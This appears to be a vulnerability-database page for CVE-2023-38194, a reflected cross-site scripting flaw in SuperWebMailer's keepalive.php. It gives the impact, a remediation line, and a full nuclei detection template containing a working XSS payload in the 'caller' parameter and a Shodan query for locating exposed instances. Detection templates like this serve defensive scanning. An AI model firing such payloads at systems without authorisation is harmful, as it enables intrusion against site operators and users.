HexBrain

Browse / CVEs / CVE-2023-38194

CVE-2023-38194· superwebmailer / superwebmailer· CWE-79

SuperWebMailer - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.2%likelihood of exploitation, next 30 days
68%of all CVEs are less likely
Readycheck to confirm it

An issue was discovered in SuperWebMailer 9.00.0.01710 that allows keepalive.php XSS via a GET parameter.

Impact

Successful exploitation could allow an attacker to execute malicious scripts in the context of a user's browser, leading to potential data theft or account compromise.

Fix

Implement input validation and output encoding to prevent XSS attacks in the SuperWebMailer keepalive.php script.

How to confirm it

Send: GET {{BaseURL}} ; GET {{BaseURL}}/keepalive.php?caller=%22%3E%3Cimg+src%3d1+onerror%3dalert(document.domain)+%2F%3E&uq_mt=1664137650.085
Positive when: contains(body_2, "<img src=1 onerror=alert(document.domain) />") and contains(tolower(body_1), "superwebmailer") and contains(header_2, "text/html") and status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2023-38194 -u <target>

The full check
id: CVE-2023-38194

info:
  name: SuperWebMailer - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    An issue was discovered in SuperWebMailer 9.00.0.01710 that allows keepalive.php XSS via a GET parameter.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of a user's browser, leading to potential data theft or account compromise.
  remediation: |
    Implement input validation and output encoding to prevent XSS attacks in the SuperWebMailer keepalive.php script.
  reference:
    - https://herolab.usd.de/security-advisories/usd-2023-0013/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38194
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38194
    cwe-id: CWE-79
    epss-score: 0.0118
    epss-percentile: 0.67938
    cpe: cpe:2.3:a:superwebmailer:superwebmailer:9.00.0.01710:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: superwebmailer
    product: superwebmailer
    shodan-query: title:"SuperWebMailer"
  tags: cve,cve2023,superwebmailer,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/keepalive.php?caller=%22%3E%3Cimg+src%3d1+onerror%3dalert(document.domain)+%2F%3E&uq_mt=1664137650.085"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "<img src=1 onerror=alert(document.domain) />")'
          - 'contains(tolower(body_1), "superwebmailer")'
          - 'contains(header_2, "text/html")'
          - 'status_code_2 == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from